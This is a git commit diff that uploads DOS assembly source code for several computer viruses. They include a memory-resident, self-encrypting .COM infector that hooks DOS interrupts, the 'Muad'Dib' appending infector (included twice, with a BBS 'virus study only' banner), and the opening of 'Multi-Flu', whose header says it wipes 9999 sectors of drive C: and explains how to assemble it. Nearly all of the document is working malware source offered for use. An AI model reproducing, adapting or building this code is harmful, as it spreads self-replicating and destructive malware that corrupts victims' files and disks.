Add files via upload
This commit is contained in:
parent
14e07ba726
commit
f76af55eb4
|
@ -0,0 +1,386 @@
|
|||
;******************************************************************************
|
||||
;******************************************************************************
|
||||
;**** Virus: .COM /noTBAV ****
|
||||
;**** By: Ramthes Jones ****
|
||||
;******************************************************************************
|
||||
;******************************************************************************
|
||||
CODE SEGMENT
|
||||
|
||||
ASSUME CS:CODE, DS:CODE, ES:CODE, SS:CODE
|
||||
ORG 0100h
|
||||
|
||||
DELTA EQU (TWO - ONE)
|
||||
|
||||
START:
|
||||
JMP VIR_START
|
||||
NOP
|
||||
MOV AH,09h
|
||||
MOV DX,OFFSET MSG
|
||||
PUSH CS
|
||||
POP DS
|
||||
INT 21h
|
||||
|
||||
INT 20h
|
||||
|
||||
MSG DB 0Ah,0Dh,'Virus Mr-X activado!!!',0Ah,0Dh
|
||||
DB 'Por favor no ejecute ningun archivo. Je, je, je...',0Ah,0Dh,'$'
|
||||
|
||||
VIR_START:
|
||||
ONE LABEL BYTE
|
||||
MOV BX,015Dh
|
||||
PUSH BX
|
||||
MOV SI,(OFFSET BEGIN - OFFSET ONE) - 1; Conocido
|
||||
ADD SI,BX
|
||||
MOV CX,(OFFSET TWO - OFFSET BEGIN) + 1; Conocido
|
||||
MOV DX,0FFCDh ; FFCD = INT FFh
|
||||
CLI
|
||||
BUCLE:
|
||||
MOV AH,[SI]
|
||||
XOR AH,00h
|
||||
DB 06 DUP (90h)
|
||||
MOV [bx+30],DX
|
||||
|
||||
INTFFh LABEL WORD
|
||||
MOV [SI],AH
|
||||
MOV [bx+30],2488h
|
||||
INC SI
|
||||
LOOP BUCLE
|
||||
|
||||
STI
|
||||
JMP ATBV
|
||||
|
||||
JODER:
|
||||
MOV AH,4Ch
|
||||
INT 21h
|
||||
|
||||
ATBV:
|
||||
MOV AH,30h
|
||||
INT 21h
|
||||
|
||||
BEGIN:
|
||||
MOV AX,0ACACh
|
||||
INT 21h
|
||||
CMP AX,0CACAh
|
||||
JE RUN_COM
|
||||
JMP STAY_IN_MEMO
|
||||
|
||||
RUN_COM:
|
||||
PUSH CS
|
||||
PUSH CS
|
||||
POP DS
|
||||
POP ES
|
||||
POP BX
|
||||
MOV DI,100h
|
||||
LEA SI,[(NORMAL - OFFSET ONE) + BX]
|
||||
MOVSW
|
||||
MOVSB
|
||||
PUSH CS
|
||||
PUSH 0100h
|
||||
RETF
|
||||
|
||||
STAY_IN_MEMO:
|
||||
MOV AH,4Ah
|
||||
XOR BX,BX
|
||||
INT 21h
|
||||
|
||||
MOV AH,4Ah
|
||||
MOV BX,0FFFFh
|
||||
INT 21h
|
||||
|
||||
SUB BX,61h ;101h
|
||||
MOV AH,4Ah
|
||||
INT 21h
|
||||
|
||||
MOV AH,48h
|
||||
MOV BX,60h ;100h
|
||||
INT 21h
|
||||
|
||||
MOV ES,AX
|
||||
PUSH ES
|
||||
DEC AX
|
||||
MOV ES,AX
|
||||
MOV ES:WORD PTR [0001h], 0008h
|
||||
POP ES
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
POP SI
|
||||
PUSH SI
|
||||
XOR DI,DI
|
||||
MOV CX,DELTA
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
PUSH ES
|
||||
POP DS
|
||||
|
||||
MOV AX,3521h
|
||||
INT 21h
|
||||
POP SI
|
||||
PUSH SI
|
||||
MOV DS:[INT21IP - OFFSET ONE],BX
|
||||
MOV DS:[INT21CS - OFFSET ONE],ES
|
||||
|
||||
MOV AX,2521h
|
||||
MOV DX,(OFFSET HOOK_21 - OFFSET ONE)
|
||||
INT 21h
|
||||
JMP RUN_COM
|
||||
|
||||
HOOK_21 PROC FAR
|
||||
PUSH DS
|
||||
PUSHF
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
|
||||
CMP AX,4B00h
|
||||
JE INFECT_COM
|
||||
CMP AX,0ACACh
|
||||
JE GIVE_MARK
|
||||
JMP FIN
|
||||
|
||||
GIVE_MARK:
|
||||
POP ES
|
||||
POP DS
|
||||
POP DI
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF
|
||||
POP DS
|
||||
MOV AX,0CACAh
|
||||
IRET
|
||||
|
||||
INFECT_COM:
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH DX
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
|
||||
MOV AX, CS
|
||||
MOV DS, AX
|
||||
MOV AX,3524h
|
||||
PUSHF
|
||||
CALL DWORD PTR DS:[INT21IP - OFFSET ONE]
|
||||
MOV DS:[INT24IP - OFFSET ONE],BX
|
||||
MOV DS:[INT24CS - OFFSET ONE],ES
|
||||
|
||||
MOV AX,2524h
|
||||
MOV DX,(OFFSET HOOK_24 - OFFSET ONE)
|
||||
PUSHF
|
||||
CALL DWORD PTR DS:[INT21IP - OFFSET ONE]
|
||||
POP ES
|
||||
POP DS
|
||||
POP DX
|
||||
POP BX
|
||||
POP AX
|
||||
|
||||
PUSH DX
|
||||
|
||||
MOV AX,4300h
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
MOV CS:[(ATRIBUTOS - OFFSET ONE)],CX
|
||||
|
||||
MOV AX,4301h
|
||||
MOV CX,20h
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
JC FINAL_1
|
||||
|
||||
MOV AX,3D02h
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
PUSH AX
|
||||
POP BX
|
||||
|
||||
MOV AH,3Fh
|
||||
MOV CX,2
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV DX,(OFFSET NORMAL - OFFSET ONE)
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
|
||||
XOR SI,SI
|
||||
mov ax,cs:(normal - offset one)[si]
|
||||
cmp ax,'ZM'
|
||||
je final_1
|
||||
jmp conti
|
||||
|
||||
FINAL_1:
|
||||
JMP FINAL
|
||||
|
||||
CONTI:
|
||||
MOV AX,5700h
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
MOV CS:[(HORA - OFFSET ONE)],CX
|
||||
MOV CS:[(FECHA - OFFSET ONE)],DX
|
||||
|
||||
AND CL,00011111b ; Esto es lo correcto para comprobar
|
||||
CMP CL,00001101b ; si los segundos son 26
|
||||
JE FINAL_1
|
||||
|
||||
XOR AL,AL
|
||||
CALL F_42h
|
||||
|
||||
MOV AH,3Fh
|
||||
MOV CX,3
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV DX,(OFFSET NORMAL - OFFSET ONE)
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
|
||||
MOV AL,02h
|
||||
CALL F_42h
|
||||
PUSH AX
|
||||
|
||||
SUB AX,3
|
||||
|
||||
MOV SI,1
|
||||
MOV CS:(BUFFER - OFFSET ONE)[SI],AL
|
||||
INC SI
|
||||
MOV CS:(BUFFER - OFFSET ONE)[SI],AH
|
||||
|
||||
PUSH BX
|
||||
MOV AH,48h
|
||||
MOV BX,150h
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
MOV ES,AX
|
||||
POP BX
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
XOR SI,SI
|
||||
MOV DI,SI
|
||||
MOV CX,OFFSET TWO - OFFSET ONE
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
PUSH ES
|
||||
POP DS
|
||||
|
||||
POP AX ; Calculo
|
||||
INC AH ; la direccion
|
||||
XOR SI,SI ; donde va a
|
||||
MOV [SI + 1],AL ; comenzar el
|
||||
MOV [SI + 2],AH ; arch infectado
|
||||
|
||||
MOV AH,2Ch
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
MOV [SI+20],DL
|
||||
|
||||
MOV CX,(OFFSET TWO - OFFSET BEGIN) + 1
|
||||
MOV SI,(OFFSET BEGIN - OFFSET ONE) - 1
|
||||
ENCRIPTO:
|
||||
XOR ES:[SI],DL
|
||||
INC SI
|
||||
LOOP ENCRIPTO
|
||||
|
||||
MOV AH,40h
|
||||
MOV CX,DELTA
|
||||
XOR DX,DX
|
||||
PUSH ES
|
||||
POP DS
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
JC FINAL
|
||||
|
||||
MOV AH,49h
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
|
||||
XOR AL,AL
|
||||
CALL F_42h
|
||||
|
||||
MOV AH,40h
|
||||
MOV CX,3
|
||||
MOV DX,(OFFSET BUFFER - OFFSET ONE)
|
||||
PUSH CS
|
||||
POP DS
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
|
||||
MOV AX,5701h
|
||||
MOV CX,CS:[(HORA - OFFSET ONE)]
|
||||
AND CL,11100000b
|
||||
OR CL,00001101b
|
||||
MOV DX,CS:[(FECHA - OFFSET ONE)]
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
FINAL:
|
||||
MOV AH,3Eh
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
|
||||
MOV AX,4301h
|
||||
MOV CX,CS:[(ATRIBUTOS - OFFSET ONE)]
|
||||
POP DX
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
|
||||
MOV AX,2524h
|
||||
MOV DX,CS:[INT24IP - OFFSET ONE]
|
||||
MOV DS,CS:[INT24CS - OFFSET ONE]
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP-OFFSET ONE]
|
||||
|
||||
FIN:
|
||||
POP ES
|
||||
POP DS
|
||||
POP DI
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
|
||||
POPF
|
||||
POP DS
|
||||
JMP DWORD PTR CS:[(INT21IP - OFFSET ONE)]
|
||||
|
||||
F_42h PROC
|
||||
MOV AH,42h
|
||||
CWD
|
||||
MOV CX,DX
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[INT21IP - OFFSET ONE]
|
||||
RET
|
||||
F_42h ENDP
|
||||
|
||||
HOOK_21 ENDP
|
||||
|
||||
HOOK_24 PROC
|
||||
XOR AL,AL
|
||||
IRET
|
||||
HOOK_24 ENDP
|
||||
|
||||
INT21IP DW 0
|
||||
INT21CS DW 0
|
||||
INT24IP DW 0
|
||||
INT24CS DW 0
|
||||
INT17IP DW 0
|
||||
INT17CS DW 0
|
||||
ATRIBUTOS DW 0
|
||||
HORA DW 0
|
||||
FECHA DW 0
|
||||
BUFFER DB 3 DUP(0E9h)
|
||||
NORMAL DB 3 DUP(90h)
|
||||
HIDDEN_MSG DB "Ramthes. World Cup'98: ARGENTINA!!"
|
||||
TWO LABEL BYTE
|
||||
CODE ENDS
|
||||
END START
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,213 @@
|
|||
;****************************************************************************;
|
||||
; ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] For All Your H/P/A/V Files [=- ;
|
||||
; -=] SysOp: Peter Venkman [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; ;
|
||||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||||
; ;
|
||||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||||
; Is. Keep This Code in Responsible Hands! ;
|
||||
; ;
|
||||
;****************************************************************************;
|
||||
; MUAD'DIB VIRUS ;
|
||||
;****************************************************************************;
|
||||
ideal
|
||||
model tiny
|
||||
codeseg
|
||||
org 100h
|
||||
top: db 'CP'
|
||||
db 058h,04bh
|
||||
jmp near main
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov dx,offset _warn
|
||||
mov ah,9
|
||||
int 21h
|
||||
mov ax,04c00h
|
||||
int 21h
|
||||
|
||||
_warn db 'Deze file was besmet met het Muad''dib Virus$'
|
||||
|
||||
main: push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push es
|
||||
push ds
|
||||
call dummy
|
||||
dummy: pop bx
|
||||
mov si,bx
|
||||
add si,200h ; Address of data!
|
||||
lea dx,[si+6]
|
||||
mov ah,1ah
|
||||
int 21h ; Set DTA
|
||||
|
||||
mov dx,si
|
||||
mov cl,0ffh
|
||||
mov ah,04eh
|
||||
int 21h ; Findfirst
|
||||
jc noluck ; Nah, error
|
||||
checkit:jmp is_ill
|
||||
fnext: lea dx,[si + 6]
|
||||
mov ah,04fh
|
||||
int 21h
|
||||
jc noluck
|
||||
jmp checkit
|
||||
|
||||
|
||||
noluck:
|
||||
mov ax,[word si + 6 + 44] ; Current
|
||||
mov [word cs:100h], ax
|
||||
mov ax,[word si + 6 + 44 + 2]
|
||||
mov [word cs:102h], ax
|
||||
mov ax,[word si + 6 + 44 + 4]
|
||||
mov [word cs:104h], ax
|
||||
mov ax,[word si + 6 + 44 + 6]
|
||||
mov [word cs:106h], ax
|
||||
pop ds
|
||||
pop es
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,100h ; Goor!
|
||||
push ax ; Maar 't werkt wel!
|
||||
ret
|
||||
|
||||
is_ill:
|
||||
lea dx,[si + 36] ; Name of file
|
||||
; mov ah,9
|
||||
; int 21h ; For information...
|
||||
mov ah,03dh ; Fopen
|
||||
mov al,2 ; RW-access
|
||||
int 21h
|
||||
jc fnext ; !?@!? Couldn't open
|
||||
push ax
|
||||
|
||||
pop bx ; Handle
|
||||
push bx
|
||||
mov ah,3fh ; Read
|
||||
mov cx,8 ; 8 please
|
||||
lea dx,[si + 6 + 44 + 8] ; Offset buffer (inf buf)
|
||||
int 21h
|
||||
|
||||
cmp [word si + 6 + 44 + 8], 05043h ; Zick yet?
|
||||
je issick ; YEAH!
|
||||
|
||||
pop bx
|
||||
push bx
|
||||
mov ax,04200h ; Moef vijlpointer
|
||||
xor cx,cx
|
||||
xor dx,dx ; 0L
|
||||
int 21h ; Move filepointer
|
||||
|
||||
mov ax,[si + 6 + 26] ; Fsize
|
||||
sub ax,7
|
||||
mov [si + 6 + 44 + 8 + 8 + 5],ax ; Set jump (jumpbuf)
|
||||
|
||||
pop bx ; Handle
|
||||
push bx
|
||||
mov ah,40h ; Write
|
||||
mov cx,8 ; 8 please
|
||||
lea dx,[si + 6 + 44 + 8 + 8] ; Offset buffer (jumpbuf)
|
||||
int 21h
|
||||
|
||||
pop bx ; Handle
|
||||
push bx
|
||||
mov ax,04202h ; Moef vijlpointer (einde)
|
||||
xor cx,cx
|
||||
xor dx,dx ; 0L
|
||||
int 21h ; Move filepointer
|
||||
|
||||
call swap
|
||||
|
||||
pop bx ; Handle
|
||||
push bx
|
||||
mov ah,40h ; Write
|
||||
mov cx,1000 ; ADJUST
|
||||
lea dx,[si - 200h - 11] ; Offset buffer
|
||||
int 21h ; Wreit
|
||||
|
||||
call swap
|
||||
|
||||
close: pop bx
|
||||
mov ah,03eh
|
||||
int 21h
|
||||
jmp noluck ; Ready!
|
||||
|
||||
|
||||
issick: pop bx
|
||||
mov ah,03eh
|
||||
int 21h
|
||||
jmp fnext
|
||||
|
||||
swap:
|
||||
mov ax,[word si + 6 + 44]
|
||||
xchg [word si + 6 + 44 + 8], ax
|
||||
mov [word si + 6 + 44], ax
|
||||
mov ax,[word si + 6 + 44 + 2]
|
||||
xchg [word si + 6 + 44 + 8 + 2], ax
|
||||
mov [word si + 6 + 44 + 2], ax
|
||||
mov ax,[word si + 6 + 44 + 4]
|
||||
xchg [word si + 6 + 44 + 8 + 4], ax
|
||||
mov [word si + 6 + 44 + 4], ax
|
||||
mov ax,[word si + 6 + 44 + 6]
|
||||
xchg [word si + 6 + 44 + 8 + 6], ax
|
||||
mov [word si + 6 + 44 + 6], ax
|
||||
ret
|
||||
|
||||
org dummy + 200h
|
||||
db '*.COM',0
|
||||
db 44 dup ('D')
|
||||
db 8 dup (090h) ; Current buffer
|
||||
db 8 dup ('C') ; Inf buffer
|
||||
db 043h,050h,058h,04bh,0e9h
|
||||
db 0,0,0,'$'
|
||||
end top
|
||||
|
||||
;****************************************************************************;
|
||||
; ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] For All Your H/P/A/V Files [=- ;
|
||||
; -=] SysOp: Peter Venkman [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; ;
|
||||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||||
; ;
|
||||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||||
; Is. Keep This Code in Responsible Hands! ;
|
||||
; ;
|
||||
;****************************************************************************;
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
|
|
@ -0,0 +1,213 @@
|
|||
;****************************************************************************;
|
||||
; ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] For All Your H/P/A/V Files [=- ;
|
||||
; -=] SysOp: Peter Venkman [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; ;
|
||||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||||
; ;
|
||||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||||
; Is. Keep This Code in Responsible Hands! ;
|
||||
; ;
|
||||
;****************************************************************************;
|
||||
; MUAD'DIB VIRUS ;
|
||||
;****************************************************************************;
|
||||
ideal
|
||||
model tiny
|
||||
codeseg
|
||||
org 100h
|
||||
top: db 'CP'
|
||||
db 058h,04bh
|
||||
jmp near main
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov dx,offset _warn
|
||||
mov ah,9
|
||||
int 21h
|
||||
mov ax,04c00h
|
||||
int 21h
|
||||
|
||||
_warn db 'Deze file was besmet met het Muad''dib Virus$'
|
||||
|
||||
main: push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push es
|
||||
push ds
|
||||
call dummy
|
||||
dummy: pop bx
|
||||
mov si,bx
|
||||
add si,200h ; Address of data!
|
||||
lea dx,[si+6]
|
||||
mov ah,1ah
|
||||
int 21h ; Set DTA
|
||||
|
||||
mov dx,si
|
||||
mov cl,0ffh
|
||||
mov ah,04eh
|
||||
int 21h ; Findfirst
|
||||
jc noluck ; Nah, error
|
||||
checkit:jmp is_ill
|
||||
fnext: lea dx,[si + 6]
|
||||
mov ah,04fh
|
||||
int 21h
|
||||
jc noluck
|
||||
jmp checkit
|
||||
|
||||
|
||||
noluck:
|
||||
mov ax,[word si + 6 + 44] ; Current
|
||||
mov [word cs:100h], ax
|
||||
mov ax,[word si + 6 + 44 + 2]
|
||||
mov [word cs:102h], ax
|
||||
mov ax,[word si + 6 + 44 + 4]
|
||||
mov [word cs:104h], ax
|
||||
mov ax,[word si + 6 + 44 + 6]
|
||||
mov [word cs:106h], ax
|
||||
pop ds
|
||||
pop es
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,100h ; Goor!
|
||||
push ax ; Maar 't werkt wel!
|
||||
ret
|
||||
|
||||
is_ill:
|
||||
lea dx,[si + 36] ; Name of file
|
||||
; mov ah,9
|
||||
; int 21h ; For information...
|
||||
mov ah,03dh ; Fopen
|
||||
mov al,2 ; RW-access
|
||||
int 21h
|
||||
jc fnext ; !?@!? Couldn't open
|
||||
push ax
|
||||
|
||||
pop bx ; Handle
|
||||
push bx
|
||||
mov ah,3fh ; Read
|
||||
mov cx,8 ; 8 please
|
||||
lea dx,[si + 6 + 44 + 8] ; Offset buffer (inf buf)
|
||||
int 21h
|
||||
|
||||
cmp [word si + 6 + 44 + 8], 05043h ; Zick yet?
|
||||
je issick ; YEAH!
|
||||
|
||||
pop bx
|
||||
push bx
|
||||
mov ax,04200h ; Moef vijlpointer
|
||||
xor cx,cx
|
||||
xor dx,dx ; 0L
|
||||
int 21h ; Move filepointer
|
||||
|
||||
mov ax,[si + 6 + 26] ; Fsize
|
||||
sub ax,7
|
||||
mov [si + 6 + 44 + 8 + 8 + 5],ax ; Set jump (jumpbuf)
|
||||
|
||||
pop bx ; Handle
|
||||
push bx
|
||||
mov ah,40h ; Write
|
||||
mov cx,8 ; 8 please
|
||||
lea dx,[si + 6 + 44 + 8 + 8] ; Offset buffer (jumpbuf)
|
||||
int 21h
|
||||
|
||||
pop bx ; Handle
|
||||
push bx
|
||||
mov ax,04202h ; Moef vijlpointer (einde)
|
||||
xor cx,cx
|
||||
xor dx,dx ; 0L
|
||||
int 21h ; Move filepointer
|
||||
|
||||
call swap
|
||||
|
||||
pop bx ; Handle
|
||||
push bx
|
||||
mov ah,40h ; Write
|
||||
mov cx,1000 ; ADJUST
|
||||
lea dx,[si - 200h - 11] ; Offset buffer
|
||||
int 21h ; Wreit
|
||||
|
||||
call swap
|
||||
|
||||
close: pop bx
|
||||
mov ah,03eh
|
||||
int 21h
|
||||
jmp noluck ; Ready!
|
||||
|
||||
|
||||
issick: pop bx
|
||||
mov ah,03eh
|
||||
int 21h
|
||||
jmp fnext
|
||||
|
||||
swap:
|
||||
mov ax,[word si + 6 + 44]
|
||||
xchg [word si + 6 + 44 + 8], ax
|
||||
mov [word si + 6 + 44], ax
|
||||
mov ax,[word si + 6 + 44 + 2]
|
||||
xchg [word si + 6 + 44 + 8 + 2], ax
|
||||
mov [word si + 6 + 44 + 2], ax
|
||||
mov ax,[word si + 6 + 44 + 4]
|
||||
xchg [word si + 6 + 44 + 8 + 4], ax
|
||||
mov [word si + 6 + 44 + 4], ax
|
||||
mov ax,[word si + 6 + 44 + 6]
|
||||
xchg [word si + 6 + 44 + 8 + 6], ax
|
||||
mov [word si + 6 + 44 + 6], ax
|
||||
ret
|
||||
|
||||
org dummy + 200h
|
||||
db '*.COM',0
|
||||
db 44 dup ('D')
|
||||
db 8 dup (090h) ; Current buffer
|
||||
db 8 dup ('C') ; Inf buffer
|
||||
db 043h,050h,058h,04bh,0e9h
|
||||
db 0,0,0,'$'
|
||||
end top
|
||||
|
||||
;****************************************************************************;
|
||||
; ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] For All Your H/P/A/V Files [=- ;
|
||||
; -=] SysOp: Peter Venkman [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; ;
|
||||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||||
; ;
|
||||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||||
; Is. Keep This Code in Responsible Hands! ;
|
||||
; ;
|
||||
;****************************************************************************;
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
|
||||
|
|
@ -0,0 +1,369 @@
|
|||
; Virusname: Multi-Flu
|
||||
; Origin : Sweden
|
||||
; Author : Metal Militia/Immortal Riot
|
||||
;
|
||||
; Multi-Flu's a resident infector of .COM files (w/the exception of
|
||||
; COMMAND.COM when they're executed. If the date's the first of any
|
||||
; month it'll overwrite 9999 sectors on the C: drive, thereby rendering
|
||||
; it useless. After this it still goes resident though, just in case the
|
||||
; user started the infected file from some other drive.
|
||||
;
|
||||
; To assembly this: Use Tasm Filename.asm
|
||||
; Tlink Filename.obj
|
||||
; Exe2bin Filename.exe Virus.com
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
|
||||
|
||||
SVIR EQU $ ; Start of FULL virus code
|
||||
|
||||
|
||||
VLENGTH EQU EOV-SVIR ; Size of virus
|
||||
GTHANG EQU 1994h ; Paragraphs from TOP O' MEM
|
||||
; to put us
|
||||
|
||||
ENTRY: CALL GETDELTA ; Get the DELTA offset
|
||||
NOP
|
||||
GETDELTA:
|
||||
POP BP
|
||||
SUB BP,OFFSET(GETDELTA)-1 ; Calculate it
|
||||
|
||||
START PROC NEAR
|
||||
CALL ROCKME ; Find total number o' paragraphs
|
||||
SUB AX,GTHANG ; Get segment of where our copy
|
||||
JMP PUSH_ME ; might be
|
||||
db "COPY ME, SO I CAN TRAVEL!!!!!"
|
||||
PUSH_ME:
|
||||
PUSH AX
|
||||
POP ES
|
||||
JMP PUSH_ME_AGAIN_CAUSE_I_SAY_SO
|
||||
db "Why am i so fly? ;)"
|
||||
PUSH_ME_AGAIN_CAUSE_I_SAY_SO:
|
||||
CALL MOVE_DA_LIL_BABE
|
||||
PUSH CS
|
||||
POP ES ; Get ID thang from segment
|
||||
; (viral=
|
||||
CALL FUNKY
|
||||
|
||||
ALREADY_IN_DA_MEM_THANG:
|
||||
CMP CX,CS:[BP+OFFSET(TAG)] ; Already in memory?
|
||||
JZ ORGIT ; If so, RET(urn) to org. proggy
|
||||
JMP INSTALL ; Else, install us..
|
||||
|
||||
ORGIT: LEA SI,[BP+OFFSET(FIRSTCODE)]
|
||||
MOV CX,SMILELEN
|
||||
|
||||
CALL FUNKY ; Lets 'FUNK' out :)
|
||||
|
||||
MOV DI,100h ; di equal 100h (sov)
|
||||
|
||||
REP MOVSB ; Copy org. bytes to da place
|
||||
|
||||
